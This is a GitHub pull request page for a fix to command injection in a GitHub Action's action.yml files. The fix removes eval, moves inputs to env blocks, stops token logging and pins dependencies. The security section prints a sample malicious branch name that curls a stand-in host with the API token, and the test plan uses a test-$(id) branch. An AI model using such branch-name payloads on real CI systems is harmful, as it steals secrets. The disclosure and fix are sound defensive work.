fix: prevent shell injection via eval in action.yml and review/action.yml [E-1815]#29
Open
jonathansantilli wants to merge 1 commit intomobb-dev:mainfrom
Open
fix: prevent shell injection via eval in action.yml and review/action.yml [E-1815]#29jonathansantilli wants to merge 1 commit intomobb-dev:mainfrom
jonathansantilli wants to merge 1 commit intomobb-dev:mainfrom
Conversation
Security fix for command injection vulnerability (CWE-78) in both
action.yml and review/action.yml.
Changes:
- Remove eval — replace with bash array execution for safe invocation
- Move all ${{ inputs.* }} from run: blocks to env: blocks to prevent
shell injection via attacker-controlled values
- Remove debug echo that printed API tokens and github-token to logs
- Replace bash -l {0} (login shell) with bash (standard shell)
- Quote all variable expansions to prevent word splitting
- Pin all action references to immutable commit SHAs:
- actions/setup-node v3.6.0 -> v4.4.0 (SHA pinned)
- actions/checkout v3 -> v4.3.1 (SHA pinned)
- actions/upload-artifact v4 -> v4.6.2 (SHA pinned)
- actions/download-artifact v4 -> v8.0.1 (SHA pinned)
- Sibz/github-status-action v1 (SHA pinned)
The action interface (inputs/outputs) is unchanged — this fix is
transparent to consumers.
Ref: E-1815
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Fixes command injection (CWE-78) in both
action.ymlandreview/action.yml:eval $MobbExecString— replace with bash array execution${{ inputs.* }}fromrun:blocks toenv:blocksecho "Mobb Command: ..."that printedapi-keyandgithub-tokento logsbash -l {0}withbash$GITHUB_HEAD_REF)Security Context
review/action.ymlbuilds a command string containing$GITHUB_HEAD_REF(the PR branch name) and secrets, then executes it viaeval. A malicious branch name liketest-$(curl${IFS}evil.com/${MOBB_API_TOKEN})causes theevalto execute the embedded command, exfiltrating the Mobb API token.This affects all 12 Mobb-Fixer-Demo repos that consume
mobb-dev/action/review@v1.1.The fix replaces
evalwith direct command execution using a bash array, and moves all secrets toenv:blocks where bash treats them as data.Consumer Impact
None. The action
inputs:andoutputs:are unchanged. This fix is transparent to all consumers — no workflow changes needed. The 12 Mobb-Fixer-Demo repos continue to work identically.Test plan
test-$(id)and open a PR to verify the injection no longer executesfix-report-urloutput is set correctlyRef: E-1815